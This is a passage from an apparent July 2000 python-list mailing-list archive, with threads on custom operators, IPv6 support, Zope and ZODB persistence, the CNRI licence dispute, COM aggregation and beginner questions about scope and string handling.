conflicting sets of operators? With names, you always
have the option of using qualified names, but that
doesn't work with operators.

I think the only way to make something like this work is
if there is no need to declare operators at all -- you
just use them. This means there have to be fixed ways
of (1) deciding the precedence of an arbitrary operator
and (2) mapping it to a method name.

(1) can be done by, e.g. requiring all operators to begin
or end with one of the standard operators, from which it
takes its precedence.

(2) can be done by extending the function definition syntax
to allow the name actual operator string to be used as
the name of the method, so no mapping is required. e.g.

  class Matrix:
    def ".*"(self, other):
      # do an elementwise mul here

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From olmy at thistledown.org  Sun Jul  9 11:47:03 2000
From: olmy at thistledown.org (Olmy)
Date: Sun, 9 Jul 2000 10:47:03 -0500 (CDT)
Subject: Feature Request: IPv6 support built into 1.6/2.0
In-Reply-To: <8ka50r$82n$1@nntp9.atl.mindspring.net>
Message-ID: <Pine.LNX.4.21.0007091035410.5775-100000@hexamon.thistledown.org>

Good morning,

Has there been any consideration of rolling the KAME IPv6 patches 
to Python into the official release?

It would be quite interesting to start using python to code 
some small ipv6 utilities here and there.

Any thoughts? Are there more appropriate methods to submit feature 
requests?

jeff

-- 
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
MessageID: RN7/dw97SSxgWUT2asyiONlPRzbOe0JQ

iQCVAwUANofqRKxB/KiL2JNNAQEwxwP/VJQamtcDOlt9h3fQ9KqyuiBzBKcXQQMo
Fahl3o4HjqI1qh5mv5Mac1G0YKJp+rkhp64GOKG6jDu46aPIgZ9xTc204wQ+wLyO
mqw8/EEc3PKtGM57vPkkVJraxHZMdZV45wMnno21Gx03k+d7MWbpd85tjYhrXMFJ
TwUCFSAG8/4=
=TRCD
-----END PGP SIGNATURE-----




From Norbert.Klamann at pobox.com  Mon Jul 17 04:56:18 2000
From: Norbert.Klamann at pobox.com (Norbert.Klamann at pobox.com)
Date: Mon, 17 Jul 2000 08:56:18 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <8kuhnd$bh3$1@nnrp1.deja.com>

Hello all,
working with the new Build 132 of Pythonwin we have a minor problem.
German Umlauts are not handled properly in the editor windows.
They are shown as boxes, some of them seem to be dead keys.

The problem did not exist in previous builds.
Does anyone have a hint ?

Thanks for your time !


Norbert
--
Norbert Klamann
Klamann Software & Beratung GmbH
Erftstadt Germany
Klamann.Software at pobox.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From rmack at eznet.net  Fri Jul 21 11:24:08 2000
From: rmack at eznet.net (Randolph MacKenzie)
Date: Fri, 21 Jul 2000 11:24:08 -0400
Subject: Where to install Python 1.5.2 ? and pmw ?
Message-ID: <sngqqrb46tt22@corp.supernews.com>

Where is the best place to install Python 1.5.2 in the Windows platform ? Is
C:\Program Files\Python really the best location?
I also want to install pmw so that I can import pmw without generating an
error message. How do I do that ?

-TIA, Randy






From peter at schneider-kamp.de  Sun Jul 23 03:38:54 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 07:38:54 +0000
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com>
Message-ID: <397AA10E.4FDF9422@schneider-kamp.de>

Courageous wrote:
> 
> First, in one fell swoop of antigenious, I seem to have
> forgotten how to convert strings to sequences of char and
> vice versa. Eeek. Help? Will someone please remind me and
> hit me with a rubber mallet??? :)

>>> map(None, "hello courageous")
['h', 'e', 'l', 'l', 'o', ' ', 'c', 'o', 'u', 'r', 'a', 'g', 'e', 'o',
'u', 's']
>>>

But what do you need this for? You can work on a string
like on that list except that the list is mutable.

I am not sure if I have understood your other problem though.
Maybe the following class can help you?

from operator import add

class isotile:
  def __init__(self, name, size, inc = 2):
    self.up = 1
    self.pos = 0
    self.num = inc
    self.size = size
    self.inc = inc
    self.data = open(name, "rb").read()
  def readline(self):
    if not self.num:
      return ''
    newpos = self.pos + self.num
    pad = (self.size - self.num) / 2
    line = self.data[self.pos:newpos]
    self.pos = newpos
    if self.up:
      if self.num == self.size:
        self.up = 0
        self.num = self.num - self.inc
      else:
        self.num = self.num + self.inc
    else:
        self.num = self.num - self.inc
    return pad * '\000' + line + pad * '\000'
  def readlines(self):
    result = [self.readline()]
    while result[-1]:
      result.append(self.readline())
    return result[:-1]
  def read(self):
    return reduce(add, self.readlines())

if __name__ == "__main__":
  open("isotile_test.dat","wb").write('112222333333444455')
  a = isotile("isotile_test.dat", 6)
  print a.readlines()
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de




From zeitlin at seth.lpthe.jussieu.fr  Mon Jul 17 10:41:52 2000
From: zeitlin at seth.lpthe.jussieu.fr (Vadim Zeitlin)
Date: 17 Jul 2000 14:41:52 GMT
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com> <opPa5.8337$%wF2.239927718@news.randori.com> <_b%a5.155712$7o1.3884807@news2.rdc1.on.home.com>
Message-ID: <slrn8n66pg.2s5.zeitlin@seth.lpthe.jussieu.fr>

On Wed, 12 Jul 2000 14:23:54 GMT, Tom <NoSpam at NoSpam.com> wrote:
>This surprises me.
>It is my understanding that wxPython is a 'native' gui, so, on Windows, its
>tree control would be implemented using the windows tree view common
>control,

 This is correct.

> which is dynamic but doesn't support differing text colors for
> different nodes.

 This is not entirely correct: newer (comctl32.dll 4.70+) versions of the
treeview common control implement the so called "custom draw" functionality
which wxTreeCtrl uses.

 Regards,
VZ


From gmcm at hypernet.com  Tue Jul 18 23:17:25 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 19 Jul 2000 03:17:25 GMT
Subject: Windows NT select.select( )
References: <8l2862$4n1$1@nnrp1.deja.com>
Message-ID: <8F75EBAF3gmcmhypernetcom@199.171.54.155>

David Cattarin wrote:

>.... There was an oddity
>under Windows NT that when no sockets were registered to
>the socket_map select failed. ...
>
>Has anyone else noticed this? 

Yup.

>... I was curious if anyone knew more.
>Or even a better way to fix this.


Nope.

-Gordon


From aek at aek.dk  Sun Jul 16 12:49:23 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Sun, 16 Jul 2000 18:49:23 +0200
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com> <A1lc5.87653$W35.2011983@news20.bellglobal.com>
Message-ID: <kIlc5.219$rg.11710@news101.telia.com>

> VB's IDE is more than just a text editor.  Every line is checked for syntax
> errors and I think compiled in the background.  Of course no other editor
> could be as good, unless they also had access to the VB compiler/debugger.
It is a typical god side of an MS product, total integration with total benfit, a pitty
thought that the interface is less good than Borland's...


> Using VC's autocompletion/intellisense, you can get similar results to VB,
> so something like this can be done for any language, that is correct, but
> not to the extent where the editor is also a compiler.  It may not be all
> that hard to implement self-correction and syntax checking in Python, since
> we have "exec", but you are right:  without variable declarations this can
> prove to be difficult.  Maybe whoever implements a self-correcting/syntax
> checking IDE for Python should enfore a convention for "declaring" the
> variables, without affecting the language itself.  Something like this, for
> example:  (I'm new to Python, so please excuse the big fat mistakes I might
> have made)
Another solution is to be really smart and figure the flow of the program and
determine when a variable is first used and color that color1 and the next time
it is used it is colored color2...


> Where the variables are declared in the form of a comment that starts with
> the letters "var" which, I think, is how JavaScript declares variables,
> isn't it?
it is said the man who knew the language inside out :-)

> So, by having a line at the beginning of a function (right after
> the description line, which I hope I didn't screw up) indicating the names
> of the variables we intend to use, any name that isn't in that list and
> isn't in anything we imported would be highlighted as a mistake, and if only
> the case differs, the editor would make the case match the declaration...
The only problem is that it turns Python ugly...


> Naming conventions are great, but also impossible to get everybody on earth
> to accept (and use) them, unless your language enforces it, primarily
> because we tend to think different, the latter being a wonderful thing!  So
> your naming convention is probably wonderful, but maybe also different than
> that of a third party, whose module you want to use....
I know it is a problem, I will however try to enforce it in our concern, and one
might design a devoloping tool that enforced a naming convention, that could be
dfined by the user.


> Come to think of it, I don't think I have a problem with the language being
> case-sensitive.  I have a problem with the editor making me think about a
> detail that I have come to not have to worry about by using VB.  VB may or
> may not be case sensitive, I wouldn't really know, but what's great is that
> I don't have to worry about it.
Once you get used to it it really isn't much of a worry

there is only one thing in this world that makes me wonder: why are all the beautiful languages
run time parsed? (i here think primarily on Python and Java)


-- 
Anders Eggers - Krag



From moshez at math.huji.ac.il  Thu Jul 27 08:09:19 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 27 Jul 2000 15:09:19 +0300 (IDT)
Subject: Dot-comma, anyone? (Re: zip or marry etc)
In-Reply-To: <slrn8ns0ku.ek2.jepler.lnk@potty.dsndata.com>
Message-ID: <Pine.GSO.4.10.10007271504430.4334-100000@sundial>

On Thu, 27 Jul 2000, jepler epler wrote:

> >We should get to the point where compilers can recognize and optimize
> >built-in functions soon.
> 
> You mean so that
> 	from mystuff import *
> 	print len("actually, this is an argument to mystuff.len()")

Nope. Here's a stategy to optmize and keep Python's semantics. Compile
each code twice: once with those optimizations, and once without
optimizations. Use the opimized version, until you see a "dangerous"
opcode, such as "import *", "exec", or "eval" -- and then use the
non-optimized version. You can even have the "global"s dictionary
maintain weak references to all of the things it is their globals, and
update them if it is tainted by such an opcode, or a direct manipulation
of its __dict__.


--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From speed at ?.com  Fri Jul 21 12:02:01 2000
From: speed at ?.com (Jake Speed)
Date: Fri, 21 Jul 2000 16:02:01 GMT
Subject: dynamic bases
References: <20000721171635.B1431@balabit.hu>
Message-ID: <sngsvp186tt7@corp.supernews.com>

bazsi at balabit.hu (Balazs Scheidler) wrote in
<20000721171635.B1431 at balabit.hu>: 


>
>So what I basically want is to add a set of methods/attributes to an
>instance dynamically, so that the methods added can access the
>attributes of the original instance. My original idea was the following:

This looks like a job for the 'new' module!

import new

class Object:
    a = 5

    def __init__(self):
        self.bonus_method = {}

    def __getattr__(self, name):
        if self.bonus_method.has_key(name):
            return new.instancemethod(self.bonus_method[name], 
                   self, self.__class__)
        else:
            raise AttributeError, name

def think(self, x):
    print 'self.a =', self.a, ': x =', x

a = Object()

think(a, 1)

a.bonus_method['think'] = think

a.think(2)



...so why not just say
  a.think = new.instancemethod(think, a, a.__class__) ?
...because this sets up a cicrular reference between
the object and the new method, and they will never get 
garbage collected.  If you generate the method in __getattr__,
the object never holds on to the method reference.

-Speed!


From hinsen at cnrs-orleans.fr  Mon Jul 24 06:36:38 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 24 Jul 2000 12:36:38 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain> <m3u2dj7q3s.fsf@chinon.cnrs-orleans.fr> <slrn8nh7tu.ql.hzhu@rocket.knowledgetrack.com>
Message-ID: <m3puo33jd5.fsf@chinon.cnrs-orleans.fr>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

> This looks like a good idea.  The question is whether we need to put this
> into the infix operators or as class methods.

First of all into the existing function equivalents of the operators
we are talking about. Maybe later into the operators. Of course
assuming that we follow the J approach, one could in principle make
data and value ranks properties of the arrays. I don't know if this
approach has ever been tried out in practice.

> Another example concerns the inner and outer products.  Suppose we define a
> class of tensor-with-indices, we could do innerproduct like
> 
> a = b.index((2,3)) * c.index((2,4))     # a_ilmnp = b_ijkl c_mjnkp

What exactly does your index method return?

> Is this similar to what you proposed? It looks to me this is can be handled
> by the existing Python mechanism of method overloading.

No, because in the J approach ranks are a feature of functions and
operators, not of data.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From andrew.henshaw at gtri.gatech.edu  Sat Jul 15 03:06:36 2000
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Sat, 15 Jul 2000 03:06:36 -0400
Subject: Discussion: Introducing new operators for matrix computation - general approach?
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be>
Message-ID: <8koktn$dik$1@news-int.gatech.edu>

Gregory Lielens  wrote:
>John Lull wrote:
...snip...

>> I'm don't think this is quite fair.  You could just as easily write: 
>>  b = rDiv(X, y) >> if you simply had an appropriate rDiv() function.
..snip..
>Indeed, but it is the old choice between functional/operator notation...
>For example, the second expression, b = (X'*X)\(X'*y), would be in
>functional notation 
>something like b=rDiv(Mul(X.T(),X),Mul(X.T(),y))
>This is ok, but imho far more error prone than operator notation,
>because 
>- all linear algebra textbooks present expressions with operator
>notation
>- the operator notation is more natural to almost everybody when dealing
>with arithmetic
>
I wonder if some of these problems could be approached in a more general
manner.  What if Python could support the definition of operators in the
same manner as functions? If that were the case then something like:

opr rDiv(X, y):

would define a new operator function that would work like:

b = X rDiv y

The big advantage would be that special purpose grammars could be easily
imported.  The core language could be kept as simple as possible, but still
be extensible in a  way that matters to a lot of people.

I suspect that whitespace would be required around these new 'operators',
although many people already do that with regular operators.  Also, I'm not
sure how you'd specify an operator that wasn't valid as a function name, but
I can think of possibilities.

-- 
Andy Henshaw



From m.faassen at vet.uu.nl  Tue Jul 11 07:34:37 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 11 Jul 2000 11:34:37 GMT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <8kf0od$708$1@newshost.accu.uu.nl>

"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> wrote:
[snip]
> The persistent Java effort requires quite a lot of work in the innards of
> Java (i.e., C++ programming). This is presumably because Java doesn't expose
> its insides to introspection in the same way Python does (Zope does use
> vanilla Python, doesn't it?

Yes, though it uses ExtensionClasses which hook into some arcane part of
Python. But it runs with vanilla Python, yes.

> Can it work with JPython? (I assume not)).

It'd be a major project to make it work with JPython, I think. I don't
know if anyone actually seriously looked into this yet, though -- it may
be quite doable.

> This is obviously a disadvantage for the PJama people, not least because
> of the licensing terms around Java (i.e., why they can't call their
> variant pJava, even though they have had funding from Sun).

Right -- open source is cool. :)

[snip]
> How easy is it to write a storage manager?

I haven't tried myself, but given that there are various storage managers
already there and some in the making, it is definitely doable. Someone's 
working on a storage manager on top of ReiserFS, for instance.

> It sounds to me as if this would
> be a useful thing to layer on top of a COM or CORBA interface to (for
> instance) an existing GIS, taking advantage of whatever versioning, locking,
> etc., that that existing software provides.

Hm, I'm not quite sure what you mean here. What's a GIS?

Note that the ZODB *does* depend on the Python-specific pickle protocol,
so building it on top of say, a relational database, only gives you
minimal advantages. SQL queries and such aren't very useful, as it's just
pickled data in the fields. For the same reason I think taking advantage
of versioning and locking of some underlying system is hard -- ZODB itself
is perhaps too low level for that. I may be wrong, though.
 
> Snags.
> Well, it's obviously a bit of a pain if __getattr__ and __setattr__ are
> unavailable for easy use - although I can't say I've used them for anything
> significant myself, they're useful tools for the back pocket.

I actually heard a while back that in the 2.2 release of Zope 
__getattr__ and __setattr__ are available again. I haven't checked into
that yet.

> Also, the "lists and dictionaries aren't classes so we have to prod the
> persistence when they're altered" thing is a slight pain.

Agreed. Easiest thing to do is something like this though:

mylist = self.mylist # put in local variable (speed benefit in some cases!)
mylist.append("change the list")
self.mylist = mylist # prod persistence

[snip]
> So, why isn't this better known?

I think because the Python and Zope worlds are quite a bit apart in some
ways. Of course there's lots of overlap, but your average Zope user isn't
necessarily well aware of the Python community and vice versa. Of course
AMK's article is probably specifically an attempt to make the ZODB more
well known.

It'd also help if the ZODB could be easily downloaded as a package by itself.
There's a packaging wiki (discussion hypertext thing) on www.zope.org to
deal with such issues. I'm not sure how active it is, though.

> Is it just that Python is too good at too
> many things? Maybe we need a page of "clever things Python does that other
> people think are hard", or "important buzzword compliances by application",
> on the PythonLabs site...

> [It would help if this was all more evident from the Zope site, as well,
> though. Talk about hard to navigate round.]

You should get in touch with the Zope folks if you want the Zope site
improved -- tell them about your problems. They're actively looking at
ways to improve that site.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From akuchlin at mems-exchange.org  Fri Jul 28 08:56:22 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 28 Jul 2000 08:56:22 -0400
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com> <t87g5.18740$ga2.487562@newsread2.prod.itd.earthlink.net> <14721.10664.984701.353597@anthem.concentric.net>
Message-ID: <3daef2v2fd.fsf@kronos.cnri.reston.va.us>

bwarsaw at beopen.com (Barry A. Warsaw) writes:
> Without GPL compatibility, Mailman could never rely on any feature or
> patch after the Python 1.6alpha2 release.

Why would this matter?  Mailman is an application, so its licence is
orthogonal to the licence of the substrate it runs on.  You can
compile GNU diff using a Sun compiler, and you could write a GPLed app
in Delphi and release it, after all.  (Or does Mailman copy bits out
of the latest Python in order to guarantee that it has features it needs?)

--amk




From bdupire at seatech.fau.edu  Fri Jul 14 15:04:41 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Fri, 14 Jul 2000 15:04:41 -0400
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu>
Message-ID: <396F6449.F2E63F85@seatech.fau.edu>

Armin wrote:
--------------------------------------------------------------

 I have changed your code in the following way:

 static PyObject * test_setstruct(PyObject * self, PyObject * args) {
 //PyObject * string_from_python;

 char * string_from_python;
 int len;

 // if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
 if (!PyArg_ParseTuple(args,"s#",&string_from_python, &len)) return NULL;

 // example= (examplestruct *) PyString_AsString(string_from_python);
example= (examplestruct *) string_from_python;

 // Py_DECREF(string_from_python);
 print_struct();

 Py_INCREF(Py_None);
 return Py_None;
 }
 ----------------------------------------------------

Ok it works too! You convert the PythonString in a C string representation
right away with PyArgs_ParseTuple.



Now, I changed the test_getstruct function in the same way..

static PyObject * test_getstruct(PyObject * self, PyObject * args)
{
 if (!PyArg_ParseTuple(args,"")) return NULL;
 return Py_BuildValue("s",(char *)exampleptr);
}


Yes.. it was too easy : it doesn't work :
    Traceback (innermost last):
      File "<stdin>", line 1, in ?
      File
"//1/old_home/bdupire/Alpha/morpheus/Python-1.5.2/Lib/my_prog/structure.py",
line 24, in ?
       a =struct.unpack(fmt,rec)
struct.error: unpack str size does not match format

So my question is the following: how to tell Py_BuildValue about the size of
the structure and the number of bytes to grab ?



From spierre at rational.com  Fri Jul 21 18:24:58 2000
From: spierre at rational.com (Sebastien Pierre)
Date: Fri, 21 Jul 2000 22:24:58 +0000
Subject: Dynamic package exploration
Message-ID: <3978CDBA.5859E594@rational.com>

Hi !

I'm having a strange problem with Python :

 I cannot reference any Python object using an absolute name...
 Example :
  >>print os.name
  fails....
 But if I do
  >>import os
  >>print os.name
 It works - so I guess you have to "import" first before being able to
reference anything.

 But if I do :
  >>eval ( "import os" )
 It doesn't work...so it prevents me from doing something
dynamic...Ouch!

The point is that I want to dynamically load a set of extensions that
belong to a specific package.
Let's say I have a package A that contains 10 python files. What I want
to do is dynamically inspect the content of A (the 10 python files), and
check if those python files have the attribute called
'__my_attribute__'. Then I want to register these attributes in a list.

Is it possible ?

Thanks,
Seb.
-- 
Sebastien Pierre.-  spierre at rational.com \
R a t i o n a l   software | XML          \ If you like classical music,
. Rational Unified Process | technology    \ feel free to visit
. Vancouver, B.C,  -Canada | intern         \       <www.costes.org>



From sglanger at u.washington.edu  Wed Jul 19 11:22:08 2000
From: sglanger at u.washington.edu (Steve Langer)
Date: Wed, 19 Jul 2000 08:22:08 -0700
Subject: Internet Programming in Python
References: <397221B2.173C3947@u.washington.edu> <39736DEB.D2285ADD@gs.verio.net>
Message-ID: <3975C7A0.8D9F2517@u.washington.edu>

Nope, they don't.



Tony Johnson wrote:

> http://www.ora.com shuld carry this one...
>
> steve langer wrote:
> >
> > Does anyone know a used book store that would carry this out of print
> > book?
> >
> > Email great.
> >
> > thanks,
> > SL    sglanger at oakland.edu
> >
> > --
> > http://www.python.org/mailman/listinfo/python-list



From gee308 at mediaone.net  Sun Jul 23 01:01:13 2000
From: gee308 at mediaone.net (Toy)
Date: Sun, 23 Jul 2000 05:01:13 GMT
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com> <39794752.D54A50CD@mediaone.net> <220720001345342915%matt@mondoinfo.com> <397A44A8.E3697BF1@mediaone.net>
Message-ID: <397A8130.FC7CBF8A@mediaone.net>

> Sorry, I didnt see the bottom line.



From paul at prescod.net  Wed Jul 19 12:14:37 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:14:37 -0500
Subject: CVS missing xmlparse.h
References: <yMet0XA6nYd5EwSD@jessikat.fsnet.co.uk>
	 <3975BA62.91AE3D0@prescod.net> <5YhvBcAHucd5Ewz$@jessikat.fsnet.co.uk>
Message-ID: <3975D3ED.2CD5AEAA@prescod.net>

Robin Becker wrote:
> 
> ...
>
> so the core will include the module source, but not a needed .h file;

Guido has a policy against distributing other people's modules.

> the python-xml kit used to include all; 

I guess Andrew Kuchling isn't such a hard-ass. :)

> do I need pyexpat.pyd? Probably
> not.

No, if you're compiling yourself you don't need it.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From fugate at lucent.com  Mon Jul 31 09:35:30 2000
From: fugate at lucent.com (Cris A. Fugate)
Date: Mon, 31 Jul 2000 08:35:30 -0500
Subject: variable scope
Message-ID: <398580A2.9EBD6072@lucent.com>

Hi, Im new to Python and I have a question about variable scope.

It seems that any variable declared in a function is local.

Is there any way to define a global variable within a function?

For example, Tcl can use eval and uplevel to evaluate code

on any scope level.  In Scheme a local variable uses let,

otherwise it is global.

--
**********************************************************************
Cris A. Fugate          Lucent Technologies, Robust Process Automation
fugate at lucent.com       http://ihgpweb.ih.lucent.com/~fugate
630 713-8255            Creator of framesets, a frames implementation


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000731/a809d0be/attachment.html>

From m.faassen at vet.uu.nl  Fri Jul 28 23:40:01 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 03:40:01 GMT
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <m3r98ecu5i.fsf@chinon.cnrs-orleans.fr>
Message-ID: <8ltjmh$31a$3@newshost.accu.uu.nl>

Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:
[snip]
> Looks like a good idea, count me in. Perhaps it would also help to
> add Python-based projects that are administrated by the people who
> sign the letter, to show that serious users are concerned and not
> just people who love signing open letters.

> And you can add me to the list, of course.

>> P.S.:
>> I find it rather startling that you see a need to change the license of
>> a software whose development already has moved away from your institution.

> I would rather not mention this issue. If the move to BeOpen is the
> reason for CNRI's prolonged legal fight, then it's better not to
> point it out again. And if it isn't, it's better not to suggest a
> new argument to them.

Agreed -- I'd remove the P.S. too. Without it add me to the list. Perhaps
add a bit more diplomatic stuffing, such as "Perhaps it was unclear that
this raises some concern in the community" and "Perhaps we missed the
official statement from CNRI", giving a bit more benefit of the doubt
is never bad. But this are just minor suggestions; excellent work!

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From osuchw at ecn.ab.ca.nospam  Sat Jul 22 19:05:26 2000
From: osuchw at ecn.ab.ca.nospam (waldekO)
Date: Sat, 22 Jul 2000 17:05:26 -0600
Subject: Cannot create objects in Zope 2.2.0
References: <8ld6sb$qg5$1@nnrp1.deja.com>
Message-ID: <%Mpe5.163$K85.8343@jekyl.ab.tac.net>

<mpetroni at my-deja.com> wrote in message news:8ld6sb$qg5$1 at nnrp1.deja.com...
> I've just downloaded Zope 2.2.0 for win32 and installed it.
>
> Ir runs with administrator privileges, but when I try to create any
> objects I get the following message:
>
> -----------------
> Zope Error
>
>            Zope has encountered an error while publishing this resource.
>
>            Error Type: SuperCannotOwn
>            Error Value: Objects cannot be owned by the superuser

Read the error.  You have to create another user beside the administrator
then logon as the new user
 and  you can create objects.

waldemar
>
> Any Ideas?
>
> Thanx!
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From bragib at my-deja.com  Mon Jul 17 16:28:34 2000
From: bragib at my-deja.com (bragib at my-deja.com)
Date: Mon, 17 Jul 2000 20:28:34 GMT
Subject: Multiline strings and indentation
References: <39736250$0$14722@wodc7nh6.news.uu.net>
Message-ID: <8kvq8s$ali$1@nnrp1.deja.com>

Can't you do someting like this.
def multiline(x):
    if x:
         print "this is a"\
               " multi-line string that spans"\
               " three lines"
         print "another string"



Sent via Deja.com http://www.deja.com/
Before you buy.


From j.doty at gte.net  Thu Jul 27 02:05:37 2000
From: j.doty at gte.net (John Doty)
Date: Thu, 27 Jul 2000 06:05:37 GMT
Subject: Python and COM: Aggregation?
References: <AiPf5.138$6Z.107941@paloalto-snr1.gtei.net> <SNPf5.13158$4p3.102513@news-server.bigpond.net.au>
Message-ID: <RiQf5.148$6Z.119153@paloalto-snr1.gtei.net>

Groovy.  I'll get right on it then.  :)

I've just been digging though the source, does look pretty easy... will it
be a problem if people have to rebuild all the extentions?  I don't think I
can do it in a binary-compatible way.

Also, while I'm on the subject-- has anybody written extentions for COM+
1.0?

john


"Mark Hammond" <MarkH at ActiveState.com> wrote in message
news:SNPf5.13158$4p3.102513 at news-server.bigpond.net.au...
> "John Doty" <j.doty at gte.net> wrote in message
> news:AiPf5.138$6Z.107941 at paloalto-snr1.gtei.net...
> > I love Python.  I want to use it for all my programming needs.
> >
> > But I can't.
> >
> > Is there a reason that COM objects implemented in Python are not
> > aggregatable?
>
> Simply no one has been bothered to add it.  AFAIK, no one plans to,
> either.  Patches would be accepted tho!  Should be not too difficult as we
> already support delegation of IUnknown back to another object to support
> COM identity rules.
>
> Mark.
>
>
>




From python-list at teleo.net  Tue Jul 11 11:59:49 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Tue, 11 Jul 2000 08:59:49 -0700
Subject: checking the existence of a fiel
In-Reply-To: <WaHa5.175$T23.3601@m2newsread.uni2.es>
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <00071109133610.03526@quadra.teleo.net>

[Fernando Rodr?guez, on Tue, 11 Jul 2000]
::     How can I check if a file exists? O:-)

I see that your email address is "mindless.com" ...

... perhaps that's the reason -- or maybe you're just new here. At any
rate, you don't appear to have gotten the news yet about the Python
Library Reference. That's the document we all research *before* we ask
trivial questions on this newsgroup. ;-)

http://www.python.org/doc



From nobody at nowhere.nohow  Fri Jul 28 21:06:16 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:06:16 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <7Khg5.2679$6E.683965@ptah.visi.com> <slrn8o3d35.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o4bg8.abr.nobody@isis.visi.com>

In article <slrn8o3d35.49c.grey at teleute.rpglink.com>, Steve Lamb wrote:
>On Fri, 28 Jul 2000 15:34:27 GMT, Grant Edwards <ge at nowhere.none> wrote:
>>I'm not ignoring that case.  I'm stating that I want to do the conversions
>>explicitly rather than implicitly.  Why do you find it so difficult to
>>believe that "I want X" when I tell you "I want X"?  I'm _not_ trying to tell
>>you that "you want X" or "you should use X".  I am trying to tell you that "I
>>use X" because "I want X".
>
>    Fair enough.  So why can't we have both?  Why can't we have variables
>which are mutable and those that aren't?  

We could have both. But now the language is more complex, and it's harder to
tell what a chunk of code does unless you have more context information
available.  One of the goals of Python appears (to me) to be to make the
language simple enough that you don't need much context to figure out what a
piece of code does.  One of the problems with complex languages such as C++
is that it's so hard for th reader to determine what a piece of code is
going to do without either just tring it or having a whole bunch of context
information.

>Just because something can be changed doesn't mean it can't be forced into a
>certain context.

-- 
Grant Edwards                   grante             Yow!  I love FRUIT
                                  at               PICKERS!!
                               visi.com            


From paul at prescod.net.bbs  Mon Jul 17 12:20:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 16:20:02 GMT
Subject: Python VM on a Chip?
Message-ID: <3bRI13$kvw@openbazaar.net>

Jim Brennan wrote:
>
> ...
>
> Has anyone ever considered doing the same kind of thing with the Python
> VM?  Is it even possible since the data types of Python are late
